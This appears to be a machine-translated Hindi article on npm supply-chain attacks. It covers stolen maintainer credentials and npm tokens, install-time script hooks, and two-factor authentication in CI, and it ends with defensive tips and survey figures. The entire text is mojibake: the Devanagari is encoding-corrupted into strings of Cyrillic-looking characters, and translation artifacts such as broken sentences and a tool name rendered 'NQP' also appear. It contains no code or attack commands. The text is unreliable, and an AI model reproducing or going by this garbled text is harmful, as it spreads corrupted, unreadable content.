рдПрдХ рдЕрдиреНрдп рдорд╣рддреНрд╡рдкреВрд░реНрдг рдХрд╛рд░рдХ рдЬрд┐рд╕реЗ рдзреНрдпрд╛рди рдореЗрдВ рд░рдЦрдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реИ рд╡рд╣ рдпрд╣ рд╣реИ рдХрд┐ рд╣рдорд▓рд╛рд╡рд░ рдХреЗ рдкрд╛рд╕ рдХрд┐рд╕реА рд▓реЛрдХрдкреНрд░рд┐рдп рдкреНрд░реЛрдЬреЗрдХреНрдЯ рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рдХрд┐рд╕реА рд╡реНрдпрдХреНрддрд┐ рдХреЗ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ (рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо рдФрд░ рдкрд╛рд╕рд╡рд░реНрдб) рддрдХ рдкрд╣реБрдВрдЪ рд╣реИред рдпрджрд┐ рдХрд┐рд╕реА рд╣рдорд▓рд╛рд╡рд░ рдХреЗ рдкрд╛рд╕ рдРрд╕рд╛ рдбреЗрдЯрд╛ рд╣реИ, рддреЛ рд╡рд╣ рдЖрд╕рд╛рдиреА рд╕реЗ рдкреИрдХреЗрдЬ рдХрд╛ рдПрдХ рдирдпрд╛ рд╕рдВрд╕реНрдХрд░рдг рдЬрд╛рд░реА рдХрд░ рд╕рдХрддрд╛ рд╣реИ - рдЬреИрд╕рд╛ рдХрд┐ рдПрд╕реНрд▓рд┐рдВрдЯ рдХреЗ рд╕рд╛рде рд╣реБрдЖ рдерд╛ ред

рд▓реЗрдХрд┐рди рднрд▓реЗ рд╣реА рдХреЛрдИ рд╡реНрдпрдХреНрддрд┐ рдЬреЛ рдкрд░рд┐рдпреЛрдЬрдирд╛ рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рддрд╛ рд╣реИ, рдЙрд╕реЗ рдкреНрд░рдХрд╛рд╢рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рджреЛ-рдХрд╛рд░рдХ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ, рдлрд┐рд░ рднреА рд╡рд╣ рдЗрд╕реЗ рдЬреЛрдЦрд┐рдо рдореЗрдВ рдбрд╛рд▓рддрд╛ рд╣реИред рдФрд░ рдЬрдм рдкрд░рд┐рдпреЛрдЬрдирд╛ рдХреЗ рдирдП рд╕рдВрд╕реНрдХрд░рдгреЛрдВ рдХреЛ рддреИрдирд╛рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдирд┐рд░рдВрддрд░ рдПрдХреАрдХрд░рдг рдкреНрд░рдгрд╛рд▓реА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рджреЛ-рдХрд╛рд░рдХ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреЛ рдмрдВрдж рдХрд░ рджрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдПред рдирддреАрдЬрддрди, рдпрджрд┐ рдХреЛрдИ рд╣рдорд▓рд╛рд╡рд░ рдирд┐рд░рдВрддрд░ рдПрдХреАрдХрд░рдг рдкреНрд░рдгрд╛рд▓реА (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдЧрд▓рддреА рд╕реЗ рдХрд┐рдП рдЧрдП рд▓реЙрдЧ рд╕реЗ, рдбреЗрдЯрд╛ рд▓реАрдХ рд╕реЗ рдФрд░ рдЕрдиреНрдп рд╕рдорд╛рди рд╕реНрд░реЛрддреЛрдВ рд╕реЗ) рдХреЗ рд▓рд┐рдП рдПрдХ рдХрд╛рдо рдХрд░рдиреЗ рд╡рд╛рд▓рд╛ рдПрдирдкреАрдПрдо рдЯреЛрдХрди рдЪреБрд░рд╛ рд╕рдХрддрд╛ рд╣реИ, рддреЛ рд╡рд╣ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдХреЛрдб рд╡рд╛рд▓реЗ рдирдП рд░рд┐рд▓реАрдЬрд╝ рдХреЛ рддреИрдирд╛рдд рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛрдЧрд╛ ред

рдХреГрдкрдпрд╛ рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдирдпрд╛ рдПрдкреАрдЖрдИ рдЬрд╛рд░реА рдХрд░ рджрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ ред(рдЕрднреА рднреА рдирд┐рдЬреА рдмреАрдЯрд╛ рд╕реНрдерд┐рддрд┐ рдореЗрдВ), рдЬреЛ рдЖрдкрдХреЛ рдпрд╣ рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ рдХрд┐ рдХреНрдпрд╛ рдЯреАрдУрдЖрд░ рдиреЗрдЯрд╡рд░реНрдХ рдХреЗ рдЖрдИрдкреА рдкрддреЗ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдкреИрдХреЗрдЬ рдкреНрд░рдХрд╛рд╢рд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛, рдФрд░ рдХреНрдпрд╛ рдкреНрд░рдХрд╛рд╢рд┐рдд рдХрд░рддреЗ рд╕рдордп рджреЛ-рдХрд╛рд░рдХ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред

рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рд╣рдорд▓рд╛рд╡рд░ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдХреЛрдб рдХреЛ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ рдпрд╣ рдПрдХ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЗ рд░реВрдк рдореЗрдВ рдЪрд▓реЗ рдЬреЛ рд╕реНрдерд╛рдкрдирд╛ рд╕реЗ рдкрд╣рд▓реЗ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реЛ рдпрд╛ рдХрд┐рд╕реА рднреА рдкреАрдкреАрдПрдо рдкреИрдХреЗрдЬ рдХреЛ рд╕реНрдерд╛рдкрд┐рдд рдХрд░рдиреЗ рдХреЗ рдмрд╛рджред рдХрд░ рд░рд╣реЗ рд╣реИрдВ рдорд╛рдирдХ рдЬреАрд╡рди рдЪрдХреНрд░ рдХреЗ рд▓рд┐рдП рд╣реБрдХ NPM рд╕рдВрдХреБрд▓ рдЖрдк рдПрдХ рд╡рд┐рд╢рд┐рд╖реНрдЯ рд╕рдордп рдореЗрдВ рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рдХрдВрдкреНрдпреВрдЯрд░ рдкрд░ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рддреЗ рд╣реИрдВ рдХрд┐ред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдПрдХ рдмреНрд░рд╛рдЙрдЬрд╝рд░, Puppeteer рдореЗрдВ рдкрд░реАрдХреНрд╖рдг рдкрд░рд┐рдпреЛрдЬрдирд╛рдУрдВ рдХреЗ рдЖрдпреЛрдЬрди рдХреЗ рд▓рд┐рдП рдПрдХ рд╕рд┐рд╕реНрдЯрдо , рдПрдХ рд╣реЛрд╕реНрдЯ рд╕рд┐рд╕реНрдЯрдо рдкрд░ рдХреНрд░реЛрдорд┐рдпрдо рд╕реНрдерд╛рдкрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЗрди рд╣реБрдХ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИред

рд░рдпрд╛рди рдбрд╛рд╣рд▓ рдиреЗ рдкрд╣рд▓реЗ рд╣реА рдХрд╣рд╛JSConf EU 2018 рдореЗрдВ рдЗрди рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВред Node.js рдкреНрд▓реЗрдЯрдлрд╝реЙрд░реНрдо рдХреЛ рдЗрд╕ рдФрд░ рдЕрдиреНрдп рд╣рдорд▓рд╛рд╡рд░ рд╡реИрдХреНрдЯрд░реЛрдВ рдХреЛ рд░реЛрдХрдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдЪреНрдЪ рд╕реНрддрд░ рдХреА рд╕реБрд░рдХреНрд╖рд╛ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИред

рдпрд╣рд╛рдБ рдЦреБрд▓реЗ рд╕реНрд░реЛрдд рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ рд╕реБрд░рдХреНрд╖рд╛ рдЕрдзреНрдпрдпрди рд╕реЗ рдХреБрдЫ рдирд┐рд╖реНрдХрд░реНрд╖ рджрд┐рдП рдЧрдП рд╣реИрдВ :

  • рдЕрдкреНрд░рддреНрдпрдХреНрд╖ рдирд┐рд░реНрднрд░рддрд╛рдУрдВ рдореЗрдВ 78% рдХрдордЬреЛрд░рд┐рдпрд╛рдВ рдкрд╛рдИ рдЬрд╛рддреА рд╣реИрдВ, рдЬреЛ рдЗрд╕ рддрд░рд╣ рдХреА рдХрдордЬреЛрд░рд┐рдпреЛрдВ рд╕реЗ рдЫреБрдЯрдХрд╛рд░рд╛ рдкрд╛рдиреЗ рдХреА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рдЬрдЯрд┐рд▓ рдмрдирд╛рддрд╛ рд╣реИред
  • 2 рд╡рд░реНрд╖реЛрдВ рдореЗрдВ, рдкреБрд╕реНрддрдХрд╛рд▓рдпреЛрдВ рдореЗрдВ рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдореЗрдВ 88% рдХреА рд╡реГрджреНрдзрд┐ рд╣реБрдИ рд╣реИред
  • рдЙрддреНрддрд░рджрд╛рддрд╛рдУрдВ рдХреЗ 81% рдХрд╛ рдорд╛рдирдирд╛ тАЛтАЛрд╣реИ рдХрд┐ рдбреЗрд╡рд▓рдкрд░реНрд╕ рдХреЛ рд╕реБрд░рдХреНрд╖рд╛ рдХреЗ рд▓рд┐рдП рд╕реНрд╡рдпрдВ рдЬрд┐рдореНрдореЗрджрд╛рд░ рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдПред рд╡реЗ, рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдорд╛рдирддреЗ рд╣реИрдВ рдХрд┐ рдбреЗрд╡рд▓рдкрд░реНрд╕ рдЗрд╕рдХреЗ рд▓рд┐рдП рдЕрдЪреНрдЫреА рддрд░рд╣ рд╕реЗ рддреИрдпрд╛рд░ рдирд╣реАрдВ рд╣реИрдВред

рдкрд░рд┐рдгрд╛рдо: рдЦреБрдж рдХреЛ рдмреИрдХрдбреЛрд░ рд╕реЗ рдХреИрд╕реЗ рдмрдЪрд╛рдПрдВ?


рдирд┐рд░реНрднрд░рддрд╛ рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рдирд╛ рд╣рдореЗрд╢рд╛ рдЖрд╕рд╛рди рдирд╣реАрдВ рд╣реЛрддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдХреБрдЫ рдЯрд┐рдкреНрд╕ рдЖрдкрдХреА рдорджрдж рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:

  • рдкреНрд░рд╕рд┐рджреНрдз рдФрд░ рдЕрдЪреНрдЫреА рддрд░рд╣ рд╕реЗ рд╕рдорд░реНрдерд┐рдд рдкреБрд╕реНрддрдХрд╛рд▓рдпреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВред
  • рд╕рд╛рдореБрджрд╛рдпрд┐рдХ рдЬреАрд╡рди рдореЗрдВ рд╢рд╛рдорд┐рд▓ рд╣реЛрдВ рдФрд░ рдкреБрд╕реНрддрдХрд╛рд▓рдпреЛрдВ рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рдиреЗ рд╡рд╛рд▓реЛрдВ рдХреА рдорджрдж рдХрд░реЗрдВред рд╕рд╣рд╛рдпрддрд╛ рдореЗрдВ рдХреЛрдб рд▓рд┐рдЦрдирд╛ рдпрд╛ рдкрд░рд┐рдпреЛрдЬрдирд╛рдУрдВ рдХреЗ рд▓рд┐рдП рд╡рд┐рддреНрддреАрдп рд╕рд╣рд╛рдпрддрд╛ рдкреНрд░рджрд╛рди рдХрд░рдирд╛ рд╢рд╛рдорд┐рд▓ рд╣реЛ рд╕рдХрддрд╛ рд╣реИред
  • рдЕрдкрдиреА рдкрд░рд┐рдпреЛрдЬрдирд╛ рдХреА рдирдИ рдирд┐рд░реНрднрд░рддрд╛ рдХрд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП NQP рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ ред
  • рдХрдордЬреЛрд░рд┐рдпреЛрдВ рд╕реЗ рдмрдЪрдиреЗ рдФрд░ рдЕрдкрдиреА рдкрд░рд┐рдпреЛрдЬрдирд╛рдУрдВ рдХреА рдирд┐рдЧрд░рд╛рдиреА рдХреЗ рд▓рд┐рдП Snyk рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВред
  • Npm рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рдирд┐рд░реНрднрд░рддрд╛ рдХреЗ рдХреЛрдб рдХрд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд░реЗрдВред GitHub рдпрд╛ рдЕрдиреНрдп рд╕рдорд╛рди рд╕рд┐рд╕реНрдЯрдо рд╕реЗ рдХреЛрдб рджреЗрдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдЦреБрдж рдХреЛ рд╕реАрдорд┐рдд рди рдХрд░реЗрдВред

рдкреНрд░рд┐рдп рдкрд╛рдардХреЛрдВ! рдХрд┐рд╕реА рдФрд░ рдХреЗ рдХреЛрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЖрдк рдЕрдкрдиреА рдкрд░рд┐рдпреЛрдЬрдирд╛рдУрдВ рдХреА рд╕реБрд░рдХреНрд╖рд╛ рдХреИрд╕реЗ рдХрд░рддреЗ рд╣реИрдВ?


All Articles